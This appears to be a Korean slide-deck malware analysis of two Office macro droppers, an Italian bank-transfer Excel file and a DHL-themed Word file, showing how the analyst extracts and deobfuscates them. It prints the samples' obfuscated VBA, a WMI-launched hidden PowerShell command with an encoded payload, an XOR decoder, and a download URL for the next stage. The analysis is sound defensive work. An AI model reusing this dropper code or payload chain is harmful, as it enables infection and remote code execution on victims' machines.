 - 많은 anti-detection/automation 트릭
 - 웹서버를 잠시만 열고 바로 닫으며 진짜 victim에게만 next stage payload 전달하려는 노력

이것이 대세란 말인가?!

- 다른 샘플들을 받아보았습니다.
 - app.any.run에서 #macro 가진 xls/doc 파일 조사


다른 케이스 1

- e6f4f73a0d16c9f5342869529ef80aa8b72629cecd249ef67dee98e2f8418304
 - <https://app.any.run/tasks/b84fea0b-b492-4e23-93fe-ff3e60f971f7/>



다른 케이스 1

- 외양은 보통 문서, 매크로 포함



다른 케이스 1

- 일단 현재는 진단이 많이 되는데요

The screenshot shows a VirusShare analysis page for a file named 'FT-BONIFICO-2019-08-78_78.xls'. The file has a community score of 29/56 and was uploaded 2 days ago. The detection table lists 29 engines that detected the file, including various antivirus products like Ad-Aware, BitDefender, and McAfee, along with their specific findings.

DETECTION	DETAILS	BEHAVIOR	COMMUNITY
Ad-Aware	! Trojan.GenericKD.41626157	AegisLab	! Trojan.MSExcel.Agent.4lc
ALYac	! Trojan.GenericKD.41626157	Avast	! Other:Malware-gen [Trj]
AVG	! Other:Malware-gen [Trj]	Avira (no cloud)	! VBA/Dldr.Agent.lqmqs
BitDefender	! Trojan.GenericKD.41626157	ClamAV	! Xls.Dropper.Agent-7131125-0
Cyren	! X97M/Downldr.ER.gen!Eldorado	DrWeb	! X97M.DownLoader.257
Emsisoft	! Trojan.GenericKD.41626157 (B)	Endgame	! Malicious (high Confidence)
eScan	! Trojan.GenericKD.41626157	ESET-NOD32	! VBA/TrojanDownloader.Agent.OUL
F-Secure	! Malware.VBA/Dldr.Agent.lqmqs	FireEye	! Trojan.GenericKD.41626157
GData	! Generic.Trojan.Agent.T42BGL	Ikarus	! Trojan.VBA.Agent
Kaspersky	! Trojan.MSExcel.Agent.bm	MAX	! Malware (ai Score=88)
McAfee	! RDN/Generic Downloader.x	McAfee-GW-Edition	! BehavesLikeDownloader.ql
Microsoft	! TrojanDownloader.O97M/Donoff!MTB	NANO-Antivirus	! Trojan.Ole2.Vbs-heuristic.druvzi

다른 케이스 1

- VT엔 “이 때는 진단이 낮았다”고 이르는 일름보 봇이 돌아다닙니다

 thor
5 days ago

Signature Match - THOR APT Scanner

Detection

=====

Rule: SUSP_OfficeDoc_Macro_Indicator_Jun19_1
Rule Set: Suspicious Indicators 2
Rule Type: -
Description: -
Reference: -
Author: -
Score: -

Detection Snapshot

=====

Detection Timestamp: 2019-08-22 09:15
AV Detection Ratio: 5 / 59
LOW AV DETECTION
#macro #indicator #SuspiciousIndicators2 #SUSP_OfficeDoc_Macro_Indicator_Jun19_1

More information: <https://www.nextron-systems.com/notes-on-virustotal-matches/>
Please report interesting findings via Twitter @thor_scanner

다른 케이스 1

- 똑같이 코드 뜯어냄

```
C:\Users\jz\Desktop\work\malware\susp>olevba -c FT_BONIFICO_2019_08_84_87.xlsxx
olevba 0.53.1 - http://decalage.info/python/oletools
Flags      Filename
-----
OLE:MAS-H--- FT_BONIFICO_2019_08_84_87.xlsxx
=====
FILE: FT_BONIFICO_2019_08_84_87.xlsxx
Type: OLE
-----
VBA MACRO Questa_cartella_di_lavoro.cls
in file: FT_BONIFICO_2019_08_84_87.xlsxx - OLE stream: u'_VBA_PROJECT_CUR/VBA/Questa_cartella_di_lavoro'
-----
Const constconst = 214

Sub Archie()
    UserForm1.Show
End Sub

Function vectors()
givi = Left(fgjkd, constconst)
piki = Pixel(fgjkd, constconst)
vectors = piki & tlah(3, 1) & givi
End Function
Public Function Pixel(rng As String, cnt As Long)
Pixel = Right(rng, Len(rng) - cnt)
End Function
Function fgjkd()
ligas = "" + ""
For i = 6 To 14
    ligas = ligas + AAx(Cells(i, 4))
Next i
fgjkd = ligas
End Function
Sub PrivateSub()
If msoEncodingAutoDetect > 4000 Then PrivateFunction = Shell(vectors, xlCategoryLabelLevelAll + 1): Archie: ActiveWindow.Close savechanges:=
End Sub

Private Function tlah(x, y As Integer)
bermuda = Cells
tlah = bermuda(x, y)
End Function
Function AAx(ByVal AAxText As String) As String
Dim modulem As Integer

Dim searche As Integer
Dim sselect As Integer
Dim casecase() As Integer
```

다른 케이스 1

```
18
19 Function vectors()
20     givi = Left(fgjkd, constconst)
21     piki = Pixel(fgjkd, constconst)
22     vectors = piki & tlah(3, 1) & givi
23 End Function
24 Public Function Pixel(rng As String, cnt As Long)
25     Pixel = Right(rng, Len(rng) - cnt)
26 End Function
27
28 Function fgjkd()
29     ligas = "" + ""
30     For i = 6 To 14
31         ligas = ligas + AAx(Cells(i, 4))
32     Next i
33     fgjkd = ligas
34 End Function
35
36 Sub PrivateSub()
37     If msoEncodingAutoDetect > 4000 Then PrivateFunction = Shell(vectors, xlCategor
38 End Sub
39
40 Private Function tlah(x, y As Integer)
41     bermuda = Cells
42     tlah = bermuda(x, y)
```


다른 케이스 1

```
18
19 Function vectors()
20     givi = Left(fgjkd, constconst)
21     piki = Pixel(fgjkd, constconst)
22     vectors = piki & tlah(3, 1) & givi
23 End Function
24 Public Function Pixel(rng As String, cnt As Long)
25     Pixel = Right(rng, Len(rng) - cnt)
26 End Function
27
28 Function fgjkd()
29     ligas = "" + ""
30     For i = 6 To 14
31         ligas = ligas + AAx(Cells(i, 4)) ???
32     Next i
33     fgjkd = ligas
34 End Function
35
36 Sub PrivateSub()
37     If msoEncodingAutoDetect > 4000 Then PrivateFunction = Shell(vectors, xlCategor
38 End Sub
39
40 Private Function tlah(x, y As Integer)
41     bermuda = Cells
42     tlah = bermuda(x, y)
```

다른 케이스 1

```
18
19 Function vect+  
20     Cells(StartNumber, "A").Value = StartNumber  
21     Because the StartNumber gets 1 automatically added to it each time round the loop, we can use it  
22     between the round brackets of Cells. So the code is doing this:  
23     End Function  
24     Public Sub AAx()  
25         Cells(1, "A").Value = 1  
26         Cells(2, "A").Value = 2  
27         Cells(3, "A").Value = 3  
28         Cells(4, "A").Value = 4  
29         Cells(5, "A").Value = 5  
30     Function fgjkd()  
31         ligas = "" + ""  
32         For i = 6 To 14  
33             ligas = ligas + AAx(Cells(i, 4))  
34         Next i  
35         fgjkd = ligas  
36     End Function  
37     Sub PrivateSub()  
38         If msoEncodingAutoDetect > 4000 Then PrivateFunction = Shell(vectors, xlCategor  
39     End Sub  
40     Private Function tlah(x, y As Integer)  
41         bermuda = Cells  
42         tlah = bermuda(x, y)
```

??? AAx(Cells(i, 4))



Le informazioni, i dati e le notizie contenute nella presente comunicazione e i relativi allegati sono di natura privata, riservata.

Immagine

Per visualizzare il contenuto è necessario fare click sul pulsante 'Abilita contenuto'

+


다른 케이스 1

- 셀에 암호화된 값 존재
- VBA에서 읽어와 Decode 후 Shell(code) 호출
- 이런 케이스는 어떻게 하면 쉽게 Decode 할 수 있을까...

다른 케이스 1

- Shell 함수 대신 Cell(빈칸).Value = 로 print 하기

```
Sub PrivateSub()
If msoEncodingAutoDetect > 4000 Then PrivateFunction = Shell(vectors, xlCategory
End Sub
```




```
Sub PrivateSub()
    Cells(2, 1).Value = vectors
End Sub
```

다른 케이스 1

- 하지만 edit 불가(샘플의 매크로는 보호 상태)
→ 새로운 엑셀 파일 만들어서 테스트

- 샘플 표에 있는 값 가져와 paste


- Alt-F11 로 매크로 창 open,
코드 paste



다른 케이스 1


- 하지만 edit 불가(샘플의 매크로는 보호 상태)
→ 새로운 엑셀 파일 만들어서 테스트

- 샘플 표에 있는 값 가져와 paste
 - Alt-F11로 매크로 창 open,
코드 paste



다른 케이스 1

- 하지만 edit 불가(샘플의 매크로는 보호 상태)
→ 새로운 엑셀 파일 만들어서 테스트
- 샘플 표에 있는 값 가져와 paste
- Alt-F11로 매크로 창 open,
코드 paste



The screenshot shows the Microsoft Visual Basic for Applications (VBA) editor window. The menu bar includes '파일(F)', '편집(E)', '보기(V)', '삽입(I)', '형식(O)', '디버그(D)', '실행(B)', '도구(T)', '추가 기능(A)', '창(W)', and '도움말(H)'. The title bar says 'Microsoft Visual Basic for Applications - ?? ??1 - [Workbook_???]'. The left pane shows the 'VBAProject' structure with 'Sheet1 (Sheet1)' and 'Workbook_???'. The right pane contains the following VBA code:

```
Public Function Pixel(rng As String, cnt As Long)
    Pixel = Right(rng, Len(rng) - cnt)
End Function

Function fgjkd()
    ligas = "" + ...
    For i = 6 To 14
        ligas = ligas + AAx(Cells(i, 4))
    Next i
    fgjkd = ligas
End Function

Sub PrivateSub()
    Cells(2, 1).Value = vectors
End Sub

Private Function tlah(x, y As Integer)
    bermuda = Cells
    tlah = bermuda(x, y)
End Function

Function AAx(ByVal AAxText As String) As String
    Dim modulem As Integer

    Dim searche As Integer
    Dim sselect As Integer
    Dim casecase() As Integer
    Dim bolleann() As Long
    Dim icp As Integer

    icp = IIf(Right(AAxText, 1) Mod 2 = 0, 5, 4)
    AAxText = Left(AAxText, Len(AAxText) - IIf(Right(AAxText, 1) Mod 2 = 0, 1
    modulem = Len(AAxText) / icp - 1
    ReDim casecase(modulem)
    ReDim bolleann(modulem)
```


다른 케이스 1

- Debugging도 가능!

- bp

- step into/over

- 조사식 등



The screenshot shows the Microsoft Visual Basic for Applications (VBA) environment. The menu bar includes '파일(F)', '편집(E)', '보기(V)', '삽입(I)', '형식(O)', '디버그(D)', '실행(R)', '도구(T)', '추가 기능(A)', '창(W)', and '도움말(H)'. The toolbar has various icons for file operations and debugging. The left pane shows the 'VBAProject' structure with 'VBAProject (?? ??1)' containing 'Microsoft Excel ??' and 'Sheet1 (Sheet1)'. Below it is another 'VBAProject (FT_BONI)'. The right pane displays VBA code:

```
Public Function Pixel(rng As String, cnt As Long)
    Pixel = Right(rng, Len(rng) - cnt)
End Function

Function fgjkd()
    ligas = "" + ...
    For i = 6 To 14
        ligas = ligas + AAx(Cells(i, 4))
    Next i
    fgjkd = ligas
End Function

Sub PrivateSub()
    Cells(2, 1).Value = vectors
End Sub

Private Function tlah(x, y As Integer)
    bermuda = Cells
    tlah = bermuda(x, y)
End Function

Function AAx(ByVal AAxText As String) As String
    Dim modulem As Integer

    Dim searche As Integer
    Dim sselect As Integer
    Dim casecase() As Integer
    Dim bolleann() As Long
    Dim icp As Integer

    icp = IIF(Right(AAxText, 1) Mod 2 = 0, 5, 4)
    AAxText = Left(AAxText, Len(AAxText) - IIF(Right(AAxText, 1) Mod 2 = 0, 1
    modulem = Len(AAxText) / icp - 1
    ReDim casecase(modulem)
    ReDim bolleann(modulem)
```

다른 케이스 1

- 매크로 실행!

The screenshot shows a Microsoft Excel spreadsheet titled "template.xls". The ribbon menu is visible at the top. Cell A2 contains the following VBA macro code:

```
wmIC 'PProcess' CallL "CREate" "POwerShell -NOnIntERACtivE -eXecuti BYPASs -WIn 00000000000000000000000000000000  
[CONVeRT]:frOmBASE64sTrING('jVpLiybHEfwrc7CZXWiZemWWSzdjjO2LDLbRZRGCB3WGMnluln+766MiKzuXRYk2  
3DaCokq9x57eezM/UOwfsX50/ix4uP+lvbeGu/Dofw+JuQY5wl2mhIO8u0VA7+q7fN9Yqf9b6u1tdj/xwr/uXNIHx39wbC
```

The code is also partially visible in cell A1.

다른 케이스 1

- same old, same old

```
1wmIC 'PRocess' CalL "CREate" "POwerShell -NOnIntERACtIVe -eXecuti BYPASs -WIn 000000000000000000000001 -NOPrOfi IeX ("\"sal Eii iEx; sal iiE r
('jVpLiybHEfwrc7CZXWiZemWWSzddjj02LDLbRZRGCB3WMnIuln+766MiKzuXRYk2Nn5pr/qqnxGRmb362f//P79dy9v3lSrVx1+WYl/tcz9V/y2q7Zx2f5V+tLFZvF70b6qY//l7aozPvsal14S61vhdc
+q7fN9Yqf9b6u1tdj/xwr/uXNlHx39wbGhAz/aw0K1t70ufqRYvQ8onZ4AdpcLx8NM9ji3pJq/SIHcvPxIBvocWj+pw00A9vNnhSEegnt7+mz7JPxj/DkGg5M6Yzn+DG+W8zEuD4QLAm1HZm09TbTjKna1uk
LEHGxoJIQfcP83rf0Fv8qyXQoe1VcXDj1kjknS1+xdr2EBwWUkorYvz+cdrG4yBfVeb1S9exxgAQax9esTtVCmMVJVBI1SRnwtq0tInlfVstdo4zIpULYzY2mxI8oqqH0mWusPH+DtBm+BVet4Zljp3Cvl0c
T6ErkgGo2JEJdGOTVSJiBddhcQgkXG6MZixTn0wDQh2JFVGIf7Hd3sUfYdjLJd1D77g6adouUK90a6gDly6YaTU6xnhryYIHwsffsc0QeHYWF2cK7G1CjaGYZllZBbePKr0JC20igPrqkAkat5WZU1MZeHHA
+3QEZxi5E9M7JXFF4batZNtLw7phsqYGswDE3iEa3D2UibHdFBp45FriydceNbTXxNeRHLg1ascMmgZFEQKSIyMcReGUKDezRBJNCQroXJCp3VKA80Z8Dtg1bYEsYJEUBIpL+dPpPu/C+HeXIKMYwTkwe
sSR1QpbX2HHW8z2ViWW6iUrJY4zu9CURWYk9IetMw239Vl8uZ4edQtsx4QoldMaloBax7gzdkjvTNYwoYFW7cn8sWcbLAFCk87jT2vCl7+/WVJGg/pEHNjbqFgQY09/lWytHx8DDJA0hfvw9qsxRZEUhRYm4
+idsYDcBhiYJEq0m0EDspaJ5QJ7IoviILeWVpaV9XaEq6alqniNBuvUS8GA8MTHQHeniKouBlIpTFvWTMUq/gzgTuc2Vwa6KjI51Yzvg4aT4mehBqwppwMoQNSQmpI8PBKopMouQMfo/gMeYpo070aosyjHE
+EMdR/XNEDiJkhq8bqnfGEKs2xeQ0WCB/enIbQdy2ozRuC7XMqsK+040uLQvE2EHLIsSUlrHFRxpKaRLmHBGwJR9jJ428YspothKDgKWhci0vwDShaRvVApQ0KKBeUq1LgR8MvKmuoqlJ46jQxa5sWiHp4
GrrB9wzDa9TGmqe00UL5luCRcmoRcJS0bXs250liAG27a0yswQvSrB5ByGdxpuuyKtJTZEK4ECLELJDYjFZu3ypCNxnWECEWjyt5MEmEUzeAgNE/pg503oXj/J7yDcxSb/1Fe2YwfuXaLqFhLKA3KUx0A0CKIr
+BkpBokVAbU7JNYQSJT5pLvsgZJ3skzmBFISJZTQw30SWLfU9IKDg31DMFpmIkraqaukrTU9s8cBE5RUhdPaRicxNwGcCBonZnSycdA1qjd+gE+UU60w4g2kigScxuoPtDpU9BH/lSkTBElzZSFcj9G1s
+e3LwZAzPSUhJBjcQxMR3lyGVS1MlWAx7stIogRWe3IFio2i7jh0u9gAlBtV80D0DnE0e0FqQP8/6pMawZB+IQqbaSLKUpHIQzNTXAl3FBdtJMIoMqNdpw40A4YnvImCAXPF2TclAhpIJA6TZQMGZciJEIU1
+NYho0tcdcw1VmCPfUxlmPCzmes5uBAB0xrNaCSLAhiCxVjYP6dl/qXzvPP3ZinRsZ81RkaiSoRM10/CFqa0raB4k6ucgmf9Slnq7XhPpG0l3E/6HKylnFuDlcVvn87IkM0Uap2fJG9WY7s0sQTJApwkKddG
+VGU0FnYJcpmAwG1xGTR EgUAL0tuZxrTouR31YWsJ1XEwdM70na0wTRZzMnGEEWwIXGx2lWiTGk7kuQ5N1MAT3oTcRMWcLCwhD9TA4R++u6mqWJDizDStIo6RxpiL/BHnwwuMFWOoCzp4xLhaZgQqPUjN23K

'-join ((151,146,50,50,107,140,105,124,55,10397,140,125,14096,124,145,162,174,14694,40,55,120,162,157,160,145,162,164,171,40,50,47,52,47,51,174,1
151,163,47,54,47,151,143,157,47,51,51,173,44,173,156,167,175,75,62,52,62,73,46,50,42,173,60,175,173,61,175,42,40,55,146,47,163,47,54,47,141,154,4
51,73,46,50,42,173,60,175,173,61,175,42,55,146,40,47,163,47,54,47,141,154,47,51,40,50,42,121,161,47,51,40,50,42,173,60,175,173,62,175,173,61,175,
123,164,14595,56,15197,56,163,124,122,145,101,155,162,105,101,104,105,162,50,50,151,151,105,4091,157,56,103,157,155,120,162,105,123,16391,15796,5
133,123,131,123,164,14595,56,1439796,166,145,162,164,135,72,72,106,1229795,142,101,163,145,66,64,123,124,122,151,156,107,50,47,126,126,126,160,16
171,67,163,144,15395,1079195,71,57,165,57,104,152,144,6591,171,131,143,165,126,132,71,124,126,141,162,165,162,164,142,65,5797,124,143,61,57,143,
120,172,71,63,162,151,142,171,145,6697,16392,166,65,67,142,61,17096,67,120,143,156,130,105,63,157,71,70,144,145,124,14590,61,141,146,143,61,127,6
144,63,66,171,63,161,172,146,166,53,171,152,152,6495,123,130,170,131,70,107,143,103,57,10690,70,132,64,126,154,166,61,65,141,53,125,156,102,166,6
10494,101,124,70,123,124,165,166,62,144,53,102,164,70,67,121,53,71,165,166,62,61,126,145,53,66,141,160,167,12704,62,164,155,167,120,146,5796,57,1

01,125,162,67,104,153,70,103,141,166,163,101,125,144,6197,70,102,60,161,144,152,166,155,162,150,162,153,150,10
132,123,125,126,171,106,141,132,167,164,125,126,104,127,131,130,121,172,147,126,141,146,104,17096,145,165,157,
157,146,71,125,167,171,67,164,67,14193,16096,1239692,106,66,106,152,125,66,142,122,120,156,150,67,71,142,67,66
,124,163,64,155,162,122,155,10494,130,122,15093,12294,141,143,126,107,70,162,61,66,162,146,63,152,104,123,161,
1039795,120,122,105,123,16391,15796,56,103,157,155,160,122,145,163,12391,157,15695,157,104,145,135,72,72,144,1
5,156,144,50,40,51) | %{{ ( [cOnVert]::toInt16( [sTrING]$_) ,8 )-AS [CHaR])} } |Eii'.replace('9','11')|Eii|
```

다른 케이스 1

- 난독화 해제시 다음 스테이지 다운로드하며 timestamp 전달

```
1 ${Es}='https://13287469.best/manual.php?2019-08-27T21:58:57.3723446'
```


- 서버 닫힌 상태

→ dead end




다른 케이스 2

- 9B2D7AE3337EB61649A1970FAD0AF885270387F370F1
EBB52424B0D95E2952E2
- [https://app.any.run/tasks/
273bb839-6223-46cc-8b41-433b24e57b3f/](https://app.any.run/tasks/273bb839-6223-46cc-8b41-433b24e57b3f/)



다른 케이스 2

- Word with macro



다른 케이스 2

Microsoft Visual Basic for Applications - DHL_SHIPMENT_SRN5833494063 [??] - [ThisDocument (??)]

파일(F) 편집(E) 보기(V) 삽입(I) 형식(Q) 디버그(D) 실행(R) 도구(I) 추가 기능(A) 창(W) 도움말(H)

???? - Project X

(??) zf8dd7ad4b6ac6cc7ab54e62fd96fbaebd5

```
Option Explicit
Private Const dd65cd4e35829c4b42f9b58b1ef498ded468 = "75747C6A77786D6A717125325C6E7369747C58797E716A254D6E69696A7325120F6B7A7368796E747325673D3A3C3D68662580120F75667766722D296D386
"2968373B3A3A36392530422560686D6677622D29663D6A383B383B2532677D747725979673C6939686A602D296E253425372E252A252979673C6939686A33716A736C796D622E40120F82120F776A797A7773252968373B3A
"3B39353A6735663A6A363873C36663935393B35363A393669383535663A373A3A35663A3B39353535663A3539363A6B39683935366935693A393637383C393539353535353B3A6A366837693C3B353D353636353A663A68
"663B383A695693A3C393C393C393A3C36353B3E39366735353C373A3B353539673A3B353C3635363667383E363E3938353635363A6B3A67353C363E3935353537393C3A67353C363E3A3B3568363C3A3B3935
"363A693A3C353D356635363B396B36383C3C356639693936356938383A67356639693638393E393836363C6A3567393D3A3C383D35663A36393535396739663A3B39663B6A3637363939683A36363D35663A353637
"3535363635393D363E3C3B3666363C3936396738393A3B3A663666363C356A363538373A3539363535363B3A373A6A383939673A6B3535353B3A35393638393B3A353D3A353A393635393C3A38
"3C353B3567393D363E3A683536363C3638393C35693A3C393C3A393536353735393A373A3D356639693966353D3B3E37353A3A3A6B3869356A39383A69363B396936673A3B373D3A3B393535663A683B393C3A3636693A3B
"383A3B396636353A68393636663938393A3A6935693A693638353B353A3A3635673A3C3566366738693569393C3B3736353967363836383A3A3A3535393A35363A3C663666363C3B38393B363B363E393636363A36353C3535
"3535373666353B3536353B39383A673A353A3839683667353739363A383A3B353B3A3935683A3639353537353B3A3B3A363A6B353739683936366636673A6B3A353A3A6B386363C3A3635383A3B3A673A35393E3A6A3C663A68
"3635353C3A393A68353C39393A3B3A3635363A3835683A3739363A3635373A383A3B353D353C39373A3B353C35373A3B35683A3539353A37363667396935373A66363739673A353A38353B35693A3C39373A3B356A356B
"3A3A36356B3A3935373A663637396736373A35353A3A663539393B353B366735353C673C3A353D3A3B3A36363A356B36673536396935373C6A363A363639353A66353A3A3669383C368393839673968396A353939363A363A3C3566
"3C356A3C6B353A39673935366835373A6B3668373A3A36B366735353C673C3A353D3A3B3A36363A356B36673536396935373C6A363A363639353A66353A3A3669383C368393839673968396A353939363A363A3C3566
"663A3C3A3635363569366B393C3966353D3967353C35683A35363C3A3E36383B3A35363A673C35363D35663A3B3A683635363E3938393535373A353A3B3A3835393A693636363936383B3A35363A673C35363D35663A3B3A68
"373A6B3C3935673A3A3C36363636693C383639393E3A6B366935353A37393B35693A3B3A6938353537393C3A38396936373636373D386B3A3E3A3C3535353A3C3A3B393D3A3635663A36356A3567363C353736673635
"373A353537353C356835673936353C353735373A3A353D353C39373A3C3537353C353D353939363A3835373A353A393A683537363C3A3C353B35383A35353D353C39363A3835373A353A393A69353C39383A3B3539357
"3A35373A383A3B353D353C39363A3B3A383537353B35693A3A39363A3A353B3A383A393568353C363B3A3B3539363539363A393E36353A67353C3566396935373B38353B35683A353A3C363C39663B353535373936393B
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"3A3A68393539683A353A6935353983A363563B3A3935373A663676B3A3B3A6835363A66376B3A3B3A68353839693A6739683566363D356B3A3B3635393D363B3666393C3A3C39393673A3A363A3A3935353C
"3935353839393B3C36383653A673A373A3B3A383A3B3A683B3D3A683566366835353969363E363B3A39353C35673A3B3A3835356A3A3B3A66376B3A3B3A68353839693A67373E3966353D396B363B3A68393C3536363A693637
Private Function oa3d7f417485d7757b5b226e9634dc43f1ab(ById Val v848627b139ab53e51c147f11cddb82ba As String) As String
Dim tde4add7b45e2eea7e5d889f513def As Long: Dim w7174ccb4957da37ec271c8ec6b67de6995e As Long: Dim w7174ccb4957da37ec271c8ec6b67de6995e As Long: Dim u2d15bb78c1e9e36a948398Fae48
For w7174ccb4957da37ec271c8ec6b67de6995e = 1 To Len(v848627b139ab53e51c147f11cddb82ba) Step 2: Mid(v848627b139ab53e51c147f11cddb82ba, w7174ccb4957da37ec271c8ec6b67de6995e, 2) = Ch
oa3d7f417485d7757b5b226e9634dc43f1ab = Replace(v848627b139ab53e51c147f11cddb82ba, "@", "")
End Function
Sub AutoOpen()
Dim ka146b1f45a745be18dc31897e83a188a61732() As String
ka146b1f45a745be18dc31897e83a188a61732 = m9ead888b7ffcfbcec4a4ce283611f314468a54d(dd65cd4e35829c4b42f9b58b1ef498ded468)
CallByName GetObject(oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(1))), oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(
End Sub

Private Function m9ead888b7ffcfbcec4a4ce283611f314468a54d(ById Val v848627b139ab53e51c147f11cddb82ba As String) As String()
m9ead888b7ffcfbcec4a4ce283611f314468a54d = Split(v848627b139ab53e51c147f11cddb82ba, ",")
End Function
Private Sub zf8dd7ad4b6ac6cc7ab54e62fd96fbaebd5(ById Val m393b271659a728633ddb97693f4bf9d5c9 As String, ByVal fc56554f7f3edf45ce46d32cde13a6be92812 As String, ByVal mdcfb6e892ebf3c
If m393b271659a728633ddb97693f4bf9d5c9 = Fc56554f7f3edf45ce46d32cde13a6be92812 Then
    mdcfb6e892ebf3c9b433febfaeF51dc58 = m393b271659a728633ddb97693f4bf9d5c9 & Fc56554f7f3edf45ce46d32cde13a6be92812
    Dim k82ef811a6455627688a9b9a928c3db12c3b3 As Long: k82ef811a6455627688a9b9a928c3db12c3b3 = 43
    Dim j497a4f234c41e671281e79d874dd2d1d As Long: j497a4f234c41e671281e79d874dd2d1d = 0
    For j497a4f234c41e671281e79d874dd2d1d = 0 To k82ef811a6455627688a9b9a928c3db12c3b3
        k82ef811a6455627688a9b9a928c3db12c3b3 = k82ef811a6455627688a9b9a928c3db12c3b3 + 1 * 44
    Next
Else
    Dim m3ce395afc5a6bf7942ab65ad196617e As Double: m3ce395afc5a6bf7942ab65ad196617e = mb7616bef74c62ddd3c2FF8cbc98d8F(3.3, 2.2)
    If m3ce395afc5a6bf7942ab65ad196617e < 0 Then
        Exit Sub
    Else
        For j497a4f234c41e671281e79d874dd2d1d = 0 To k82ef811a6455627688a9b9a928c3db12c3b3
            k82ef811a6455627688a9b9a928c3db12c3b3 = k82ef811a6455627688a9b9a928c3db12c3b3 + 1 * 44
        Next
    End If
End If
End Sub
```

다른 케이스 2

- Shell 함수는 없는데??

```
Sub AutoOpen()
Dim ka146b1f45a745be18dc31897e83a188a61732() As String
ka146b1f45a745be18dc31897e83a188a61732 = m9ead888b7ffcfbcce4a4ce283611f3144c
CallByName · GetObject|(oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18
ka146b1f45a745be18dc31897e83a188a61732(2)), 1, oa3d7f417485d7757b5b226e9634dc
End Sub
```

- 굉장히 의심스러운 함수 콜 존재 – CallByName

다른 케이스 2

CallByName function

12/11/2018 • 2 minutes to read •  +1

Executes a method of an object, or sets or returns a property of an [object](#).

Syntax

CallByName (*object*, *procname*, *calltype*, [*args()*])

The **CallByName** function syntax has these [named arguments](#):


Part	Description
<i>object</i>	Required: Variant (Object) . The name of the object on which the function will be executed.
<i>procname</i>	Required: Variant (String) . A string expression containing the name of a property or method of the object.
<i>calltype</i>	Required: Constant . A constant of type vbCallType representing the type of procedure being called.
<i>args()</i>	Optional: Variant (Array) .

다른 케이스 2

- 뜯어보면...
- CallByName
GetObject(oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(1))), ← object
oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(2)), ← procname
1,
oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(0)), ← calltype
Null, Null, Null

다른 케이스 2

- 디버깅하면서 변수를 보기 위해 새 문서 만들고 매크로 편집



다른 케이스 2

The screenshot shows two windows side-by-side. The top window is Microsoft Word (문서2 - Word) with a Korean ribbon interface. The bottom window is Microsoft Visual Basic for Applications (Microsoft Visual Basic for Applications - ??2 - [ThisDocument (??)]) showing a Project Explorer and a code editor.

The code editor in VBA contains the following exploit code:

```
Private Function oa3d7f417485d7757b5b226e9634dc43f1ab(ByVal v848627b139ab53e51c147f11cddb82ba As String) As String
Dim td8ea4add7b45e2eea7e5d889f513def As Long: Dim w7174ccb4957da37ec271c8ec6b67de6995e As Long: Dim w7174ccb4957da37ec271c8ec6b67de6995e = 1 To Len(v848627b139ab53e51c147f11cddb82ba) Step 2: Mid(v848627b139ab53e51c147f11cddb82ba, "0", "")
End Function

Sub AutoOpen()
Dim ka146b1f45a745be18dc31897e83a188a61732() As String
ka146b1f45a745be18dc31897e83a188a61732 = m9ead888b7ffcfbcce4a4ce283611f314468a54d(dd65cd4e35829c4b42f9b58b1ef498de
Dim teee
teee = oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(1))
teee = oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(2))
teee = oa3d7f417485d7757b5b226e9634dc43f1ab(ka146b1f45a745be18dc31897e83a188a61732(0))
End Sub
```

다른 케이스 2

- 소스코드 변경해서 디버깅하며 각 변수들의 값을 조사식으로 확인

```
Sub AutoOpen()
    Dim ka146b1f45a745be18dc31897e83a188a61732() As String
    ka146b1f45a745be18dc31897e83a188a61732 = m9ead888b7ffcfbcec4a4ce283611f314468a54d(dd65c
    Dim teee
    teee = oa3d7f417485d7757b5b226e9634dc43F1ab(ka146b1f45a745be18dc31897e83a188a61732(1))
    teee = oa3d7f417485d7757b5b226e9634dc43F1ab(ka146b1f45a745be18dc31897e83a188a61732(2))
    teee = oa3d7f417485d7757b5b226e9634dc43F1ab(ka146b1f45a745be18dc31897e83a188a61732(0))
End Sub
```

???
?
66 teee "winmgmts:\W\Wroot\Wcimv2\Win32_Process"

???
?
66 teee "Create"

???
?
66 teee "powershell -WindowStyle Hidden function b8578ca { param(\$Va

다른 케이스 2

- 마지막 변수 powershell script는 너무 긴데
조사식은 copy&paste가 안되므로, 문서에 출력

Inserting Text in a Document

06/08/2017 • 2 minutes to read •

Use the **InsertBefore**method or the **InsertAfter**method of the [Selection](#) object or selection or range of text. The following example inserts text at the end of the activ

VB

```
Sub InsertTextAtEndOfDocument()
    ActiveDocument.Content.InsertAfter Text:=" The end."
End Sub
```

다른 케이스 2

The screenshot shows a Microsoft Word application window titled "문서2 - Word (제품 인증 실패)". The ribbon tabs are visible at the top. In the center, there is a large white area where the VBA code is displayed. On the left side of the code editor, there are several red circular markers with black dots, indicating errors or warnings in the code. The code itself is as follows:

```
DIM teee
teeee = oa3d7f417485d7757b5b226e9634dc43F1ab(ka146b1f45a745be18
teeee = oa3d7f417485d7757b5b226e9634dc43F1ab(ka146b1f45a745be18
teeee = oa3d7f417485d7757b5b226e9634dc43F1ab(ka146b1f45a745be18

ActiveDocument.Content.InsertAfter Text:=teeee
End Sub
```

Below the code editor, the main Word document area is visible, showing some placeholder text and styling options like font, size, and alignment.

On the right side of the image, there is a vertical stack of several windows, likely from a debugger or developer environment. One window is titled "(??)" and contains a large amount of binary or encoded data, possibly assembly code or a dump of memory. Other windows in the stack show parts of the VBA code and other system information.

```
1 powershell -WindowStyle Hidden
2 function b8578ca {
3 param($h3ef2)
4 $tb7d4ce = 'tc32d93';$c265514 = '';
5 for ($i = 0; $i -lt $h3ef2.length; $i+=2) {
6 $a8e3636 = [convert]::ToByte($h3ef2.Substring($i, 2), 16);
7 $c265514 += [char]($a8e3636 -bxor $tb7d4ce[(($i / 2) % $tb7d4ce.length)]);
8 }
9 return $c265514;
10 }
11 $w86aa9 = '01105a5c0319600d104757090246070a5d55446a4a0717565f4a6b461a175a5f01177a1a1756400b49
